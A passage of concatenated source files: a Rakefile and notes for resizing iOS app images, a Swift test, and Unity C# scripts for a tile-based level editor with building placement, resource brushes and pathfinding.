sh 'convert -resize 167x167 [email protected] ./output/yjyy-icon@[email protected]'
end
end
#
# 生成预览图
# 6sp: 1242x2208
# 6s: 750x1334
# 5s: 640x1136
# 4s: 640x960
#
# iPad: 768x1024
# iPadPro: 2048x2732
#
# 6sp/6s/5s 的长宽比例一样
# iPad/iPadPro 的长宽比例一样
#
# 因为预览图是示意图, 并不需要完全一致
#
task :screenshots do
Dir.chdir './misc/screenshots' do
sh 'convert -resize 750x1334! yjyy-iphone6sp-1.png yjyy-iphone6s-1.png'
sh 'convert -resize 750x1334! yjyy-iphone6sp-2.png yjyy-iphone6s-2.png'
sh 'convert -resize 750x1334! yjyy-iphone6sp-3.png yjyy-iphone6s-3.png'
sh 'convert -resize 750x1334! yjyy-iphone6sp-4.png yjyy-iphone6s-4.png'
sh 'convert -resize 750x1334! yjyy-iphone6sp-5.png yjyy-iphone6s-5.png'
end
Dir.chdir './misc/screenshots' do
sh 'convert -resize 640x1136! yjyy-iphone6sp-1.png yjyy-iphone5s-1.png'
sh 'convert -resize 640x1136! yjyy-iphone6sp-2.png yjyy-iphone5s-2.png'
sh 'convert -resize 640x1136! yjyy-iphone6sp-3.png yjyy-iphone5s-3.png'
sh 'convert -resize 640x1136! yjyy-iphone6sp-4.png yjyy-iphone5s-4.png'
sh 'convert -resize 640x1136! yjyy-iphone6sp-5.png yjyy-iphone5s-5.png'
end
Dir.chdir './misc/screenshots' do
sh 'convert -resize 640x960! yjyy-iphone6sp-1.png yjyy-iphone4s-1.png'
sh 'convert -resize 640x960! yjyy-iphone6sp-2.png yjyy-iphone4s-2.png'
sh 'convert -resize 640x960! yjyy-iphone6sp-3.png yjyy-iphone4s-3.png'
sh 'convert -resize 640x960! yjyy-iphone6sp-4.png yjyy-iphone4s-4.png'
sh 'convert -resize 640x960! yjyy-iphone6sp-5.png yjyy-iphone4s-5.png'
end
end
# 合并3张预览图
task :screenshot_small do
Dir.chdir './misc/screenshots' do
sh 'convert yjyy-iphone4s-1.png yjyy-iphone4s-3.png yjyy-iphone4s-5.png +append yjyy-ios.png'
sh 'convert -resize x512 yjyy-ios.png yjyy-ios.png'
sh 'convert xc:gray yjyy-ios.png yjyy-ios.png'
sh 'rm yjyy-ios-0.png' do "ignore error" end
sh 'rm yjyy-ios-1.png' do "ignore error" end
end
end
<file_sep># 野鸡医院 开发文档
Swift 版本 和 RubyMotion 版本的简单说明.
给有兴趣私人定制的小伙伴提供简单技术支持.
<file_sep># 野鸡医院 图片资源
截屏中因为涉及到微信分享的截图, 无法用模拟器截屏.
因此, 选用了iPod和iPadPro真机截屏, 分别用于各个尺寸的iPhone和iPad预览图.
其中, iPhone4s和其它新的iPhone型号的长宽比例稍有不同.
而iPad和iPadPro长宽比相同, 但是屏幕大小相差1倍, 因此显示的元素布局会稍有不同.
不过, 预览图只是一个示意图, 并不需要和每个型号的真机完全相同,
所以只选用了iPod和iPadPro两个型号的真机截屏来代替其它的设备.
目录结构:
- yjyy-appstore.png: AppStore安装地址的二维码
- [email protected]: 原始的logo图标
- raw目录: 原始的截屏图片, 含ps之后的预览图
- output: 各种尺寸的输出图片, 含logo和预览图, 不要保存
外部的 yjyy-swift 和 yjyy-ruby 工程不要直接引用当前目录的资源,
如果需要请复制1份到自己的过程目录.
<file_sep>// Copyright 2016 <<EMAIL>{AT}<EMAIL>>. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
import XCTest
@testable import yjyy
class DataEnginTest: XCTestCase {
override func setUp() {
super.setUp()
}
override func tearDown() {
super.tearDown()
}
// 查询的性能
func testBenchSearch() {
self.measureBlock {
let db = DataEngin()
let result = db.SearchV2("")
XCTAssert(!result.isEmpty)
}
}
}
<file_sep># 使用Go语言开发iOS应用(Ruby版)
TODO
|
2db16b1dcee01d38c743511a4dd9989bfb24d7ce
|
[
"Markdown",
"Ruby",
"Swift"
] | 5 |
Ruby
|
zhoujunshao/ptyy
|
8e4f7362eaa8aa29e0e521025548c7cb52ae4e98
|
c2875d50f59415ada7f16e8ef4b68f8bddcef69d
|
refs/heads/master
|
<repo_name>TalllDwarf/TileLevelEditor<file_sep>/Assets/Code/Enviroment/HouseController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class HouseController : BuildingController {
public int houseSize = 2;
MapController mapC;
void Start()
{
mapC = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapController>();
mapC.HouseAdded(houseSize);
}
void OnDestroy()
{
if (mapC != null)
mapC.HouseDeleted(houseSize);
}
}
<file_sep>/Assets/Code/Map/MapEditor.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.EventSystems;
public class MapEditor : MonoBehaviour
{
MapGrid mapGrid;
CameraController cameraRayCast;
public Texture2D wreckCursor;
public GameObject adjustableTileUI;
public GameObject adjustableResourceUI;
GameObject SizeUI;
public GameObject villagerPrefab;
//TODO: Add ghost buildings
public GameObject[] ghostBuildings;
//0 = tree, 1 = rock
public GameObject[] ghostResource;
//Spawn buildings
private List<GameObject> ghostObject;
int brushSize = 1;
private BuildingType ghost = BuildingType.NULL;
private ResourceType resource = ResourceType.Nothing;
//Change map tiles
private TileType tileType = TileType.InUse;
//Wrecking
public bool isWrecking = false;
// Use this for initialization
void Start()
{
mapGrid = GetComponent<MapGrid>();
cameraRayCast = GameObject.FindGameObjectWithTag(Tags.MainCamera).GetComponent<CameraController>();
ghostObject = new List<GameObject>();
}
public bool hasLoaded()
{
return mapGrid.hasLoaded();
}
void Update()
{
if (!cameraRayCast.IsMouseOverUI())
if (isWrecking && Input.GetMouseButton(0))
{
RaycastHit? rayHit = cameraRayCast.GetMouseHit();
//if the ray hit something
if (rayHit != null)
{
TileController tile = rayHit.Value.collider.GetComponent<TileController>();
if (tile != null)
{
tile.DetroyConnectedObject();
}
}
}
//If we are currently placing a building
else if (ghost != BuildingType.NULL)
{
RaycastHit? rayHit = cameraRayCast.GetMouseHit();
//if the ray hit something and we are not currently clicking on the UI
if (rayHit != null && !cameraRayCast.GetComponentInChildren<EventSystem>().IsPointerOverGameObject())
{
TileController tile = rayHit.Value.collider.GetComponent<TileController>();
if (Input.GetMouseButtonDown(0) && CanSpawn(tile.location))
{
SpawnBuilding();
}
else
{
if (tile != null)
if (tile.connectedObject == null && tile.GetTileType() == TileType.Empty)
{
//Create the ghost object if we do not have one
if (ghostObject.Count == 0)
{
ghostObject.Add(Instantiate(ghostBuildings[(int)ghost], tile.transform.position, Quaternion.identity));
ghostObject[0].GetComponent<GhostController>().gridPosition = tile.location;
}
else
{
//Move the ghost object
ghostObject[0].transform.position = tile.transform.position;
ghostObject[0].GetComponent<GhostController>().gridPosition = tile.location;
//Can spawn = white, cannot spawn = red
if (CanSpawn(tile.location))
{
ghostObject[0].GetComponentInChildren<MeshRenderer>().material.color = new Color(1.0f, 1.0f, 1.0f, 0.5f);
}
else
{
ghostObject[0].GetComponentInChildren<MeshRenderer>().material.color = new Color(1.0f, 0.1f, 0.1f, 0.5f);
}
}
}
}
}
}
else if (tileType != TileType.InUse)
{
RaycastHit? rayHit = cameraRayCast.GetMouseHit();
if (rayHit != null)
{
TileController tile = rayHit.Value.collider.GetComponent<TileController>();
if (Input.GetMouseButton(0))
{
SpawnObjectsFromGhost(tile.location);
}
else
{
if (ghostObject.Count == 0)
{
SpawnGhostObjects(tile.location);
}
else
{
//Move the ghost object
MoveGhostObjects(tile.location);
}
}
}
}
else if (resource != ResourceType.Nothing)
{
RaycastHit? rayHit = cameraRayCast.GetMouseHit();
if (rayHit != null)
{
TileController tile = rayHit.Value.collider.GetComponent<TileController>();
if (Input.GetMouseButton(0))
{
SpawnObjectsFromGhost(tile.location);
}
else
{
if (ghostObject.Count == 0)
{
SpawnGhostObjects(tile.location);
}
else
{
//Move the ghost object
MoveGhostObjects(tile.location);
}
}
}
}
//If we right click remove everything
if (Input.GetMouseButtonDown(1))
{
SetWrecking(false);
}
}
//Spawn ghost objects to the world
private void SpawnObjectsFromGhost(Coord centerPosition)
{
if (brushSize == 1)
{
TileController tile = mapGrid.GetTileController(centerPosition);
SetUpObject(tile);
}
else
{
int index = 0;
for (int x = (int)centerPosition.x - brushSize; x <= centerPosition.x + brushSize; x++)
{
for (int y = (int)centerPosition.y - brushSize; y <= centerPosition.y + brushSize; y++)
{
if (x >= 0 && x < mapGrid.mapSize.x && y >= 0 && y < mapGrid.mapSize.y)
{
TileController tile = mapGrid.GetTileController(new Coord(x, y));
SetUpObject(tile);
index++;
}
}
}
}
}
//Set up spawned objects
private void SetUpObject(TileController tile)
{
if (tile.GetTileType() == TileType.Empty)
if (tileType != TileType.InUse)
{
if (tileType != tile.GetTileType())
{
if (tileType == TileType.Water)
{
GameObject newTile = Instantiate(mapGrid.waterPrefab, tile.transform.position, Quaternion.identity, mapGrid.transform);
newTile.GetComponent<TileController>().Init(tile.location, TileType.Water);
mapGrid.ReplaceTile(tile.location, newTile);
}
else if (tileType == TileType.Empty)
{
GameObject newTile = Instantiate(mapGrid.tilePrefab, tile.transform.position, Quaternion.identity, mapGrid.transform);
newTile.GetComponent<TileController>().Init(tile.location, TileType.Empty);
mapGrid.ReplaceTile(tile.location, newTile);
}
}
}
else if (resource != ResourceType.Nothing)
{
if (tile.connectedObject == null)
{
GameObject resourceObject = null;
if (resource == ResourceType.Wood)
{
resourceObject = Instantiate(mapGrid.treePrefab, tile.transform.position, Quaternion.identity, tile.transform);
tile.Init(TileType.Wood, resourceObject);
}
else if (resource == ResourceType.Stone)
{
resourceObject = Instantiate(mapGrid.rockPrefab, tile.transform.position, Quaternion.identity, tile.transform);
tile.Init(TileType.Stone, resourceObject);
}
if (resourceObject != null)
{
ResourceAmountController amountcontroller = SizeUI.GetComponent<ResourceAmountController>();
resourceObject.GetComponent<Resource>().Init((int)amountcontroller.maxSlider.value, (int)amountcontroller.maxSlider.value, amountcontroller.regenToggle.isOn, amountcontroller.regenSpeedSlider.value, (int)amountcontroller.regenAmountSlider.value);
}
}
}
}
//Create ghost objects
private void SpawnGhostObjects(Coord centerPosition)
{
GameObject prefab = null;
//Get the prefab we need
if (tileType != TileType.InUse)
{
if (tileType == TileType.Water)
{
prefab = mapGrid.waterPrefab;
}
else if (tileType == TileType.Empty)
{
prefab = mapGrid.tilePrefab;
}
brushSize = (int)SizeUI.GetComponentInChildren<SizeTileController>().CurrentValue;
}
else if (resource != ResourceType.Nothing)
{
if (resource == ResourceType.Wood)
{
prefab = mapGrid.treePrefab;
}
else if (resource == ResourceType.Stone)
{
prefab = mapGrid.rockPrefab;
}
brushSize = (int)SizeUI.GetComponent<ResourceAmountController>().sizeSlider.value;
}
//If we have a prefab then spawn the ghost objects
if (prefab != null)
{
if (brushSize == 1)
{
ghostObject.Clear();
ghostObject.Add(Instantiate(prefab, new Vector3(centerPosition.x * Tags.TileSize, 0, centerPosition.y * Tags.TileSize), Quaternion.identity));
}
else
{
for (int x = (int)centerPosition.x - brushSize; x <= centerPosition.x + brushSize; x++)
{
for (int y = (int)centerPosition.y - brushSize; y <= centerPosition.y + brushSize; y++)
{
ghostObject.Add(Instantiate(prefab, new Vector3(Tags.TileSize * x, 0, Tags.TileSize * y), Quaternion.identity));
}
}
}
//Not we have the objects they need setting up to be ghost objects
if (tileType != TileType.InUse)
{
if (tileType == TileType.Water || tileType == TileType.Empty)
{
foreach (GameObject g in ghostObject)
{
Destroy(g.GetComponent<BoxCollider>());
}
}
}
else if (resource != ResourceType.Nothing)
{
if (resource == ResourceType.Wood || resource == ResourceType.Stone)
{
foreach (GameObject g in ghostObject)
{
g.GetComponent<Resource>().IsItem();
}
}
}
}
}
//Moves ghost objects to the mouse
private void MoveGhostObjects(Coord centerPosition)
{
if (brushSize == 1)
{
ghostObject[0].transform.position = new Vector3(Tags.TileSize * centerPosition.x, 0, Tags.TileSize * centerPosition.y);
}
else
{
int index = 0;
for (int x = (int)centerPosition.x - brushSize; x <= centerPosition.x + brushSize; x++)
{
for (int y = (int)centerPosition.y - brushSize; y <= centerPosition.y + brushSize; y++)
{
ghostObject[index++].transform.position = new Vector3(Tags.TileSize * x, 0, Tags.TileSize * y);
}
}
}
}
//Update the brush size
public void SetBrushSize()
{
foreach (GameObject g in ghostObject)
{
Destroy(g);
}
ghostObject.Clear();
SpawnGhostObjects(new Coord(mapGrid.mapSize.x, mapGrid.mapSize.y));
}
//Can we spawn the building in this location
public bool CanSpawn(Coord newPosition)
{
//If we do not have a ghost object
if (ghostObject.Count == 0 || ghostObject[0] == null)
{
return false;
}
GhostController ghostC = ghostObject[0].GetComponent<GhostController>();
Coord buildingSize = ghostC.placementSize;
//Make sure the bulding is fully on the map
if ((newPosition.x - buildingSize.x) < 0 || (newPosition.y - buildingSize.y) < 0)
return false;
//If the building is only on top of empty tiles
for (int x = newPosition.x; x > (newPosition.x - buildingSize.x); x--)
{
for (int y = newPosition.y; y > (newPosition.y - buildingSize.y); y--)
{
if (!mapGrid.IsEmpty(new Coord(x, y)))
{
return false;
}
}
}
return true;
}
//Are we removing objects
public void SetWrecking(bool toSet)
{
Clear();
isWrecking = toSet;
if (isWrecking)
{
Cursor.SetCursor(wreckCursor, Vector2.zero, CursorMode.Auto);
}
else
{
Cursor.SetCursor(null, Vector2.zero, CursorMode.Auto);
}
}
//Set our ghost building we want to set
public void SetGhost(BuildingType buildType)
{
if (buildType != ghost)
{
Clear();
ghost = buildType;
}
else
Clear();
}
//Remove the ghost building
public void RemoveGhost()
{
foreach (GameObject g in ghostObject)
{
Destroy(g);
}
ghostObject.Clear();
ghost = BuildingType.NULL;
}
public void SetResource(ResourceType resType)
{
if (resource != resType)
{
Clear();
resource = resType;
CreateResourceUI();
}
else
Clear();
}
public void RemoveResource()
{
resource = ResourceType.Nothing;
}
//Sets the tile we want to start placing
public void SetTileGhost(TileType newTileType)
{
if (newTileType != tileType)
{
Clear();
tileType = newTileType;
CreateTileUI();
}
else
Clear();
}
public void Clear()
{
RemoveGhost();
RemoveGhostTile();
RemoveUI();
RemoveResource();
}
private void CreateTileUI()
{
if (SizeUI != null)
RemoveUI();
SizeUI = Instantiate(adjustableTileUI, GameObject.FindGameObjectWithTag(Tags.Canvas).transform);
}
private void CreateResourceUI()
{
if (SizeUI != null)
RemoveUI();
SizeUI = Instantiate(adjustableResourceUI, GameObject.FindGameObjectWithTag(Tags.Canvas).transform);
}
private void RemoveUI()
{
if (SizeUI != null)
{
Destroy(SizeUI);
}
}
//Removes the ghost tile
public void RemoveGhostTile()
{
tileType = TileType.InUse;
}
//Touch all tiles the building is on top of
public Coord[] TouchTiles(Coord position, Coord buildingSize, GameObject building)
{
int size = (buildingSize.x + buildingSize.y) - 1;
Coord[] tilesTouched = new Coord[size];
int touch = 0;
for (int x = position.x; x > (position.x - buildingSize.x); x--)
{
for (int y = position.y; y > (position.y - buildingSize.y); y--)
{
//Don't want to touch the main position this is the spawn position
if (x != position.x || y != position.y)
{
tilesTouched[touch] = new Coord(x, y);
mapGrid.GetTileController(tilesTouched[touch]).Init(tilesTouched[touch], TileType.BuildingArea, building);
touch++;
}
}
}
return tilesTouched;
}
//Spawn a building onto a tile
public void SpawnBuilding()
{
GameObject newBuilding;
//Switch can be replaced with when all buildings are added
//newBuilding = Instantiate(mapGrid.buildings[(int)ghost]
//Buildings can only have one object
TileController mainTile = mapGrid.GetTileAt(ghostObject[0].GetComponent<GhostController>().gridPosition).GetComponent<TileController>();
switch (ghost)
{
case BuildingType.House:
newBuilding = Instantiate(mapGrid.buildings[(int)BuildingType.House], mainTile.transform.position, Quaternion.identity, mainTile.transform);
newBuilding.GetComponent<BuildingController>().Init(mainTile.location, BuildingType.House);
mainTile.Init(mainTile.location, TileType.Building, newBuilding);
break;
case BuildingType.Sawmill:
newBuilding = Instantiate(mapGrid.buildings[(int)BuildingType.Sawmill], mainTile.transform.position, Quaternion.identity, mainTile.transform);
newBuilding.GetComponent<BuildingController>().Init(mainTile.location, BuildingType.Sawmill, TouchTiles(mainTile.location, ghostObject[0].GetComponent<GhostController>().placementSize, newBuilding));
mainTile.Init(mainTile.location, TileType.Building, newBuilding);
break;
case BuildingType.StoneCutter:
newBuilding = Instantiate(mapGrid.buildings[(int)BuildingType.Sawmill], mainTile.transform.position, Quaternion.identity, mainTile.transform);
newBuilding.GetComponent<BuildingController>().Init(mainTile.location, BuildingType.Sawmill, TouchTiles(mainTile.location, ghostObject[0].GetComponent<GhostController>().placementSize, newBuilding));
mainTile.Init(mainTile.location, TileType.Building, newBuilding);
break;
case BuildingType.IronMine:
newBuilding = Instantiate(mapGrid.buildings[(int)BuildingType.Sawmill], mainTile.transform.position, Quaternion.identity, mainTile.transform);
newBuilding.GetComponent<BuildingController>().Init(mainTile.location, BuildingType.Sawmill, TouchTiles(mainTile.location, ghostObject[0].GetComponent<GhostController>().placementSize, newBuilding));
mainTile.Init(mainTile.location, TileType.Building, newBuilding);
break;
case BuildingType.Storage:
newBuilding = Instantiate(mapGrid.buildings[(int)BuildingType.Sawmill], mainTile.transform.position, Quaternion.identity, mainTile.transform);
newBuilding.GetComponent<BuildingController>().Init(mainTile.location, BuildingType.Sawmill, TouchTiles(mainTile.location, ghostObject[0].GetComponent<GhostController>().placementSize, newBuilding));
mainTile.Init(mainTile.location, TileType.Building, newBuilding);
break;
case BuildingType.NULL:
Clear();
break;
default:
break;
}
Clear();
}
//Sets a tile back to default
public void ClearTile(Coord clearCoord)
{
TileController toClear = mapGrid.GetTileController(clearCoord);
if (toClear != null)
{
toClear.RemoveConnectedObject();
}
}
//Clear and array of coords
public void ClearTiles(Coord[] clearCoords)
{
foreach (Coord c in clearCoords)
ClearTile(c);
}
//Delete an object connected to a tile
public void DeleteObject(Coord position)
{
TileController toRemove = mapGrid.GetTileController(position);
if (toRemove != null)
{
toRemove.RemoveConnectedObject();
}
}
}
<file_sep>/Assets/Code/Enviroment/BuildingController.cs
using UnityEngine;
public class BuildingController : MonoBehaviour {
protected Coord position;
protected BuildingType buildType = BuildingType.House;
protected Coord[] usingPosition;
protected MapEditor mapEditor;
public virtual void Init(Coord spawnPosition, BuildingType bType, Coord[] otherPositions = null)
{
position = spawnPosition;
buildType = bType;
usingPosition = otherPositions;
mapEditor = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapEditor>();
}
public Coord GetPosition()
{
return position;
}
public Coord[] GetOtherPostions()
{
return usingPosition;
}
public BuildingType GetBuilingType()
{
return buildType;
}
public Coord GetBuildingMainPosition()
{
return position;
}
public virtual void SpawnVillager()
{
}
public virtual void Deposit(int depositAmount)
{
}
private void OnDestroy()
{
if(mapEditor != null && usingPosition != null)
{
//Tell the tiles we are on that we have been destroyed
mapEditor.ClearTile(position);
mapEditor.ClearTiles(usingPosition);
}
}
}
<file_sep>/Assets/Code/Camera/UI/GameUI/Slider/ResourceAmountController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class ResourceAmountController : MonoBehaviour {
public Text sizeText;
public Slider sizeSlider;
public Text maxText;
public Slider maxSlider;
public Toggle regenToggle;
public Text regenSpeedText;
public Slider regenSpeedSlider;
public Text regenAmountTet;
public Slider regenAmountSlider;
private MapEditor mapE;
// Use this for initialization
void Start () {
mapE = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapEditor>();
sizeSlider.onValueChanged.AddListener(delegate { sizeText.text = sizeSlider.value + ""; mapE.SetBrushSize(); });
maxSlider.onValueChanged.AddListener(delegate { maxText.text = maxSlider.value + ""; });
regenSpeedSlider.onValueChanged.AddListener(delegate { regenSpeedText.text = regenSpeedSlider.value + ""; });
regenAmountSlider.onValueChanged.AddListener(delegate { regenAmountTet.text = regenAmountSlider.value + ""; });
}
}
<file_sep>/Assets/Code/Enviroment/TileController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class TileController : MonoBehaviour {
public Coord location;
public TileType type;
public GameObject connectedObject;
public MeshRenderer[] meshRender;
private bool oldHit = false;
private bool hit = false;
public void Start()
{
FindconnectedRenderes();
}
//Init the variables for the tile
public void Init(int x, int y, TileType newType, GameObject connectedO = null)
{
location = new Coord(x, y);
type = newType;
connectedObject = connectedO;
FindconnectedRenderes();
}
public void Init(Coord _location, TileType newType, GameObject connectedO = null)
{
location = _location;
type = newType;
connectedObject = connectedO;
FindconnectedRenderes();
}
public void Init(TileType newType, GameObject connected0 = null)
{
type = newType;
connectedObject = connected0;
FindconnectedRenderes();
}
//Adds the child object to the tile
public void AddChildObject(GameObject child)
{
connectedObject = child;
if(connectedObject != null)
{
FindconnectedRenderes();
}
}
//Find the mesh renderes for the
private void FindconnectedRenderes()
{
meshRender = GetComponentsInChildren<MeshRenderer>();
}
//Returns the resource connected to the child
public Resource GetConnectedResource()
{
if(type == TileType.Iron || type == TileType.Stone || type == TileType.Wood || type == TileType.Water)
return GetComponentInChildren<Resource>();
return null;
}
//Updates ever frame
public void Update()
{
if(oldHit == true && hit == false)
{
meshRender = null;
FindconnectedRenderes();
//Not Hovering
RemoveHit();
oldHit = hit;
hit = false;
}
else if(hit == true)
{
oldHit = hit;
hit = false;
}
else
{
oldHit = hit;
}
}
//When the tile has been hit glow
public void HitByRay()
{
hit = true;
meshRender = null;
FindconnectedRenderes();
//mouse hover
Hit();
}
//We have been hit by the mouse
private void Hit()
{
foreach(MeshRenderer r in meshRender)
{
foreach(Material m in r.materials)
{
m.SetFloat("_BlendAlpha", 1);
}
}
}
//We are no longer hit
private void RemoveHit()
{
foreach (MeshRenderer r in meshRender)
{
foreach (Material m in r.materials)
{
m.SetFloat("_BlendAlpha", 0);
}
}
}
//Update the tile type
public void SetTileType(TileType newType)
{
type = newType;
}
//return the current tile type
public TileType GetTileType()
{
return type;
}
public BuildingType GetBuildingType()
{
if (connectedObject == null)
return BuildingType.NULL;
BuildingController bc = connectedObject.GetComponent<BuildingController>();
if (bc != null)
return bc.GetBuilingType();
return BuildingType.NULL;
}
//Destroy any building/resouce attached to this tile
public void DetroyConnectedObject()
{
Destroy(connectedObject);
RemoveConnectedObject();
}
public void RemoveConnectedObject()
{
connectedObject = null;
type = TileType.Empty;
}
private void OnDestroy()
{
Destroy(connectedObject);
}
}
<file_sep>/Assets/Code/Camera/UI/GameUI/RadialButtonMenu.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class RadialButtonMenu : MonoBehaviour {
Vector2 startPosition, endPosition;
RectTransform screenPosition;
float movementSpeed;
float lerpAmount = 0;
bool open = false;
protected virtual void Start()
{
screenPosition = GetComponent<RectTransform>();
}
//Gets a new end position
public void GetEndPosition(Vector2 newEndPosition, float newMovementSpeed, float alphaHit)
{
GetComponent<UnityEngine.UI.Image>().alphaHitTestMinimumThreshold = alphaHit;
endPosition = newEndPosition;
movementSpeed = newMovementSpeed;
}
//Sets start position;
public void SetStartPosition(Vector2 newStartPosition)
{
startPosition = newStartPosition;
}
//Update the buttons position if we should be open or closed
protected virtual void Update()
{
if (open && !Equals(screenPosition.position, endPosition))
{
lerpAmount += (movementSpeed * Time.deltaTime);
lerpAmount = Mathf.Clamp01(lerpAmount);
screenPosition.position = Vector2.Lerp(startPosition, endPosition, lerpAmount);
}
else if (!open && !Equals(screenPosition.position, startPosition))
{
lerpAmount += (movementSpeed * Time.deltaTime);
lerpAmount = Mathf.Clamp01(lerpAmount);
screenPosition.position = Vector2.Lerp(endPosition, startPosition, lerpAmount);
}
}
public void OpenMenu(bool isOpen)
{
//reset if we fully opened or closed
//if we did not fully open/close move back to where we came from
if (isOpen != open)
{
open = isOpen;
if (lerpAmount == 1 || lerpAmount == 0)
lerpAmount = 0;
else
lerpAmount = 1.0f - lerpAmount;
}
}
public bool Equals(Vector3 v3, Vector2 v2)
{
return (v3.x == v2.x && v3.y == v2.y);
}
}
<file_sep>/Assets/Code/Game/Network/NetworkBase.cs
using System;
using System.IO;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Runtime.Serialization.Formatters.Binary;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public abstract class NetworkBase : MonoBehaviour {
[SerializeField]
protected int mOutgoingPort;
[SerializeField]
protected int mIncomingPort;
[SerializeField]
protected Text mText;
[SerializeField]
protected string mIpAddress;
protected UdpClient mSocket = null;
protected IPEndPoint mEndpoint = null;
protected abstract void InitialiseUdpServer();
protected abstract void Receive(IAsyncResult result);
public abstract void Start();
public abstract void Update();
}
<file_sep>/Assets/Code/Camera/UI/GameUI/Slider/SizeTileController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class SizeTileController : MonoBehaviour {
Text valueText;
Slider sideSlider;
float value;
MapEditor mapE;
// Use this for initialization
void Start () {
mapE = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapEditor>();
foreach(Text ui in GetComponentsInChildren<Text>())
{
if(ui.text == "1")
{
valueText = ui;
break;
}
}
sideSlider = GetComponentInChildren<Slider>();
sideSlider.onValueChanged.AddListener(delegate { valueText.text = "" + sideSlider.value; value = sideSlider.value; mapE.SetBrushSize(); });
valueText.text = sideSlider.value + "";
value = sideSlider.value;
}
public float CurrentValue
{
get
{
return value;
}
}
}
<file_sep>/Assets/Code/Game/Network/ServerNetwork.cs
using System;
using System.Collections;
using System.Collections.Generic;
using System.Net;
using UnityEngine;
public class ServerNetwork : NetworkBase
{
private Queue<MapTileSave> m_Map = new Queue<MapTileSave>();
private MapGrid mapGrid;
public override void Start()
{
throw new NotImplementedException();
}
public override void Update()
{
throw new NotImplementedException();
}
protected override void InitialiseUdpServer()
{
}
protected override void Receive(IAsyncResult result)
{
throw new NotImplementedException();
}
}
<file_sep>/Assets/Code/Camera/UI/GameUI/MenuButton.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class MenuButton : RadialButtonMenu {
public MenuButtons buttonType = MenuButtons.Save;
Button connectedButton;
MainMenuUI mainGUI;
protected override void Start()
{
base.Start();
connectedButton = GetComponent<Button>();
mainGUI = GetComponentInParent<MainMenuUI>();
switch (buttonType)
{
case MenuButtons.Save:
connectedButton.onClick.AddListener(() => mainGUI.SaveMapBtn_Click());
break;
case MenuButtons.Options:
connectedButton.onClick.AddListener(() => mainGUI.OptionBtn_Click());
break;
case MenuButtons.Exit:
connectedButton.onClick.AddListener(() => mainGUI.ToMainMenu_Click());
break;
default:
Destroy(gameObject);
break;
}
}
}
<file_sep>/Assets/Code/Villagers/Little AI/PathFinding/PathFinder.cs
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using UnityEngine;
public class PathFinder : MonoBehaviour {
MapGrid mapGridGen;
// Use this for initialization
void Start () {
mapGridGen = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapGrid>();
}
//TODO: Get path from A-B return List<Coord>
public List<Coord> GetPath(Coord from, Coord to)
{
//Create the lists we need
ReadOnlyCollection<List<GameObject>> mapGrid = mapGridGen.GetMapTiles;
List<Node> touchedNode = new List<Node>();
touchedNode.Add(new Node(from, GetTotalDistanceCost(from, to), 1));
touchedNode[0].state = NodeState.Closed;
//Get the first node we need
int nodePosition = 0;
while (touchedNode[nodePosition].distanceToEnd != 0)
{
GetAdjacentNodes(mapGrid, ref touchedNode, nodePosition, to);
touchedNode[nodePosition].state = NodeState.Closed;
nodePosition = -1;
//get next node that has not been tested
for(int index = 0; index < touchedNode.Count; index++)
{
if(touchedNode[index].state == NodeState.Open)
{
if(nodePosition == -1 || touchedNode[nodePosition].distanceToEnd > touchedNode[index].distanceToEnd)
{
nodePosition = index;
}
}
}
if (nodePosition == -1)
return null;
}
List<Coord> finalPath = CalculatePath(ref touchedNode, nodePosition);
touchedNode.Clear();
touchedNode = null;
return finalPath;
}
//Gets a path to the closest tile of a building
public List<Coord> GetPath(Coord from, Coord to, Coord[] extendedTo)
{
Coord endCoord = to;
if(extendedTo != null)
foreach(Coord endPosition in extendedTo)
{
if (GetTotalDistanceCost(from, endPosition) < GetTotalDistanceCost(from, endCoord))
endCoord = endPosition;
}
return GetPath(from, endCoord);
}
//Calculates the path from the list of nodes
//since the path is backwards
private List<Coord> CalculatePath(ref List<Node> touched, int finalNode)
{
List<Coord> reversePath = new List<Coord>();
Node nextNode = touched[finalNode];
do
{
reversePath.Add(nextNode.position);
nextNode = touched[nextNode.GetParent()];
}
//-1 means no parent, the only one without a parent should be the starting position
while (nextNode.GetParent() != -1);
List<Coord> path = new List<Coord>();
for(int index = reversePath.Count-1; index >= 0; index--)
{
path.Add(reversePath[index]);
}
return path;
}
//Get all adjacent nodes to the
private void GetAdjacentNodes(ReadOnlyCollection<List<GameObject>> map, ref List<Node> touched, int currentNode, Coord destination)
{
Coord[] adjacent = new Coord[4];
//Up - Down = Left - Right
adjacent[0] = new Coord(touched[currentNode].position.x, touched[currentNode].position.y + 1);
adjacent[1] = new Coord(touched[currentNode].position.x, touched[currentNode].position.y - 1);
adjacent[2] = new Coord(touched[currentNode].position.x - 1, touched[currentNode].position.y);
adjacent[3] = new Coord(touched[currentNode].position.x + 1, touched[currentNode].position.y);
foreach(Coord c in adjacent)
{
if(c.x >= 0 && c.x < mapGridGen.mapSize.x && c.y >= 0 && c.y < mapGridGen.mapSize.y)
{
if ((map[c.x][c.y].GetComponent<TileController>().GetTileType() != TileType.Water && (map[c.x][c.y].GetComponent<TileController>().GetTileType() != TileType.Building) && (map[c.x][c.y].GetComponent<TileController>().GetTileType() != TileType.BuildingArea)) || (c.x == destination.x && c.y == destination.y))
{
int found = -1;
for (int index = 0; index < touched.Count; index++)
{
if (touched[index].position == c)
{
found = index;
break;
}
}
if (found != -1)
{
if((touched[currentNode].moveCost + 1) < touched[found].moveCost)
touched[found].SetParentIndex(currentNode, touched[currentNode].moveCost + 1);
}
else
{
